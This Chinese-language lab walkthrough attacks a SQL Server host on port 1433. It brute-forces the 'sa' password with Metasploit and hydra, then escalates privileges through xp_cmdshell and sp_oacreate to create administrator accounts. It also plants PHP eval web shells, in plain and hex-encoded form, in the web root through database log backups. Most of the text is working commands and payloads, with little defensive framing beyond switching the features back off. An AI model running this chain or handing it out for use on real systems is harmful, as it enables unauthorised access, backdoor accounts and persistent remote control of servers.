如果得到了1433端口,进行弱口令爆破 ,百度下1433端口,弱口令爆破的方式,kali 中msf hydra弱口令爆破
第一种:kali 中msf
查看sql-server默认端口1433
sql-server靶机ip 用户名和密码文档在root目录下
利用msf 爆破1433端口:192.168.102.129
(1)use auxiliary/scanner/mssql/mssql_login
(2)set RHOSTS 192.168.102.129
(3)set USER_FILE /root/user.txt
(4)set PASS_FILE /root/password.txt
(5)run
爆破出sa用户名密码为123456
hydra弱口令爆破
hydra语法
# hydra \[\[\[-l LOGIN|-L FILE\] \[-p PASS|-P FILE\]\] | \[-C FILE\]\] \[-e ns\]\[-o FILE\] \[-t TASKS\] \[-M FILE \[-T TASKS\]\] \[-w TIME\] \[-f\] \[-s PORT\] \[-S\] \[-vV\]server service \[OPT\]
-R 根据上一次进度继续破解-S 使用SSL协议连接-s 指定端口-l 指定用户名-L 指定用户名字典(文件)-p 指定密码破解-P 指定密码字典(文件)-e 空密码探测和指定用户密码探测(ns)-M <FILE>指定目标列表文件一行一条-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。-C 用户名可以用:分割(username:password)可以代替-l username -p password-o <FILE>输出文件-t 指定多线程数量,默认为16个线程-w TIME 设置最大超时的时间,单位秒,默认是30s-vV 显示详细过程server 目标IP
service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)
hydra -L /root/user.txt -P /root/password.txt 192.168.102.129 mssql -vv
成功爆破弱密码
[1433][mssql] host: 192.168.102.129 login: sa password: 123456
总结获得弱口令,获得了sql-server的权限,通过几种方式能够提权。
使用xp_cmdshell进行提权
xp_cmdshell提权
xp_cmdshell 提权原理:利用这个存储过程 ,执行系统的shell命令
利用xp-cmdshell 执行net user /add
提权:看上去很容易实际:需要满足以下条件 很少能满足
1、xp_confifigure设置 两个 show advanced options,xp_cmdshell 设置为1
2、执行net user add 设置服务的本地用户
use master;
RECONFIGURE;
exec sp_configure 'show advanced options',1;
RECONFIGURE;
exec sp_configure 'xp_cmdshell',1;
RECONFIGURE;
exec xp_cmdshell 'mkdir c:\myfile',no_output
执行cmd执行系统命令
exec xp_cmdshell 'whoami'
exec xp_cmdshell 'net user'
exec xp_cmdshell 'net user hacker 123456 /add'
exec xp_cmdshell 'net localgroup Administrators hacker /add'
hacker用户成功登录
--关闭扩展存储过程xp_cmdshell
EXEC sp_configure 'show advanced options','1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE
EXEC sp_configure 'show advanced options','0'
RECONFIGURE
使用sp_oacreate进行提权
-- 打开配置
exec sp_configure 'show advanced options',1;
reconfigure with override;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure with override;
declare @shellx int
exec sp_oacreate 'wscript.shell',@shellx output
exec sp_oamethod @shellx,'run',null,'net user oahacker 123456 /ADD'
exec sp_oamethod @shellx,'run',null,'net localgroup Administrators oahacker /ADD'
exec sp_oamethod @shellx,'run',null,'c:\windows\system32\cmd.exe /c mkdir c:\temp\ddddddd'
成功创建指定路径dddddd文件夹
远程连接成功登录oahacker用户
-- 关闭配置
exec sp_configure 'show advanced options',1;
reconfigure with override;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure with override;
Sql server的数据备份渗透备份提权
-- 渗透备份
1、插入 文本马
alter database tt set recovery full;
use tt;
backup database tt to disk='C:\temp\ttbak.bak' with init;
create table cmd(a varchar(50));
backup log tt to disk='C:\temp\text.php' with init;
insert into cmd(a) values('<?php @eval($_POST["caidao"]); ?>');
select * from cmd;
backup log tt to disk='C:\WWW\textma.php';
成功插入在textma.php中,使用txt文本格式打开
win7菜刀连接
成功连接
create table cmding(a image);
backup log tt to disk= 'C:\temp\image.php' with init;
insert into cmding values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e);
select * from cmding;
backup log tt to disk='C:\WWW\imagema.php';
备份文件插入图片马
win7菜刀连接
成功连接